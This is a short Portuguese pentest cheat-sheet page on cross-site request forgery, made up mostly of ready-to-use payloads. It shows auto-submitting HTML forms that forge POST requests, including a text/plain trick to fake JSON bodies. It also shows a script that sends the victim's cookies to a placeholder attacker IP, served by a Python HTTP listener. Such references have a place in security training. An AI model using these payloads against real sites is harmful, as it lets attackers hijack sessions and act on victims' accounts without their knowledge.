CSRF
O CSRF (Cross-Site Request Forgery ou Falsificação de Requisição entre sites) é um tipo de ataque que se aproveita das sessões autenticadas dos usuários em aplicativos WEB. Tirando proveito da sessão já estabelecida, o invasor pode, por exemplo, inserir URL com parâmetros maliciosos em imagens e fazer com que a vítima faça algo sem o seu conhecimento.
Auto Submit
Útil quando fizer o alvo clicar em algo ou carregar algum conteúdo externo automaticamente.
POST com Formulário Comum
<html>
	<body onload="document.getElementById('csrf').submit()">
		<form id="csrf" action="http://ptl-409a305a-0389da50.libcurl.so/share" method="POST">
			<input name="user" type="hidden" value="<user>" >
			<input name="pass" type="hidden" value="<pass>" >
		</form>
	</body>
</html>Post JSON
Note que há o parâmetro fake e um value com o valor  "}, isso é preciso pois será preciso fazer um bypass no sinal de = que é inserido no final. Note também que não estamos passando um application/json, mas sim um text/plain.
<html>
	<body onload="document.getElementById('csrf').submit()">
		<form id="csrf" action="http://<hacker_site>" method="POST" enctype="text/plain">
			<input name='{"user":"<user>","pass":"<pass>","fake":"' value='"}' >
		</form>
	</body>
</html>Pegando Cookies
Execute no host atacante:
python -m SimpleHTTPServerExecute no host alvo:
<script> var xmlHttp = new XMLHttpRequest();
    xmlHttp.open( "GET", "http://<ip_atacante>/?cookie=" + document.cookie, false ); 
    xmlHttp.send( null );
    xmlHttp.responseText;
</script>Last updated
Was this helpful?